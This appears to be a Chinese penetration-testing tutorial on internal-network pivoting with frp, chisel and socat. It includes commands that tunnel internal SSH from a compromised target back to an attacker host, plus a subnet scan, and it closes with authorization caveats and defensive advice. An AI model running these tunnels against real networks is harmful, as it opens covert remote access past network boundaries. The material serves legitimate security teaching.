内网隧道与端口反向映射
拿到 DMZ 或容器网络的落脚点后,真正的目标往往在内网:数据库、SSH、管理面不对外暴露。隧道工具要解决的是同一件事——把"只有落脚点能访问"的内网端口反向映射回攻击机。三类常用工具按落地条件取舍。
仅限授权环境
隧道会穿透网络边界并产生持续外连,仅在授权环境使用,测试结束后及时拆除。
场景与选择
| 工具 | 适用条件 | 特点 |
|---|---|---|
| frp | 有配置文件落地条件 | 稳定、支持多端口批量映射 |
| chisel | 只映射一两个端口、想快 | 单二进制,反向模式天然兼容 outbound-only |
| socat | 已有落地 shell 且目标带 socat | 临时转发,一条命令 |
frp:反向端口映射
攻击机跑 frps(服务端),靶机跑 frpc(客户端)。frpc 配置里 serverAddr 指向攻击机,用 remotePort 把 localIP:localPort 反向映射为攻击机上的端口:
frpc 配置要点:
- serverAddr 指向攻击机
- 每条代理设置 localIP:localPort(如 172.17.0.2:22)
- remotePort 设为攻击机侧端口(如 2222)
把内网 172.17.0.2:22 映射为攻击机 2222 端口后:
ssh -p 2222 <user>@<攻击机IP>
连的其实是内网主机的 SSH。
chisel:反向隧道
攻击机:
chisel server -p 9090 --reverse
靶机:
chisel client <kali>:9090 R:2222:172.17.0.2:22
--reverse 让靶机方向主动发起连接并在攻击机开反向端口,兼容只允许出站流量的场景;R:2222:172.17.0.2:22 的语义与上面 frp 示例一致。
socat:临时转发
socat TCP-LISTEN:<port>,fork,reuseaddr TCP:<dst>:<dport>
fork 支持多连接,reuseaddr 便于快速重启。适合一次性、短时间的端口转发。
配套:内网快速发现
映射之前先搞清内网有什么。存活与端口可以用 fscan 之类工具快速扫:
fscan -h 172.20.0.0/24
更系统的扫描方法论见 端口扫描实战流程:RustScan 与 Nmap。
复核要点
- 隧道建立后验证流量真的到达内网目标,而不是停在落脚点本机。
- 记录每条隧道与映射端口,测试结束统一拆除并检查进程残留。
- 出站被限制时先确认可用协议与端口,再选工具。
防御建议
- 东西向流量分段与监控:内网主机之间不应任意互访。
- 收紧出口连接:非必要的主机不允许主动外连任意端口。
- 容器网络实施 Network Policy,限制容器向外部发起连接。
- 对 frp、chisel、socat 等工具的落地文件与进程建立告警。
- 关注异常长连接与反向端口特征,定期审计出口流量。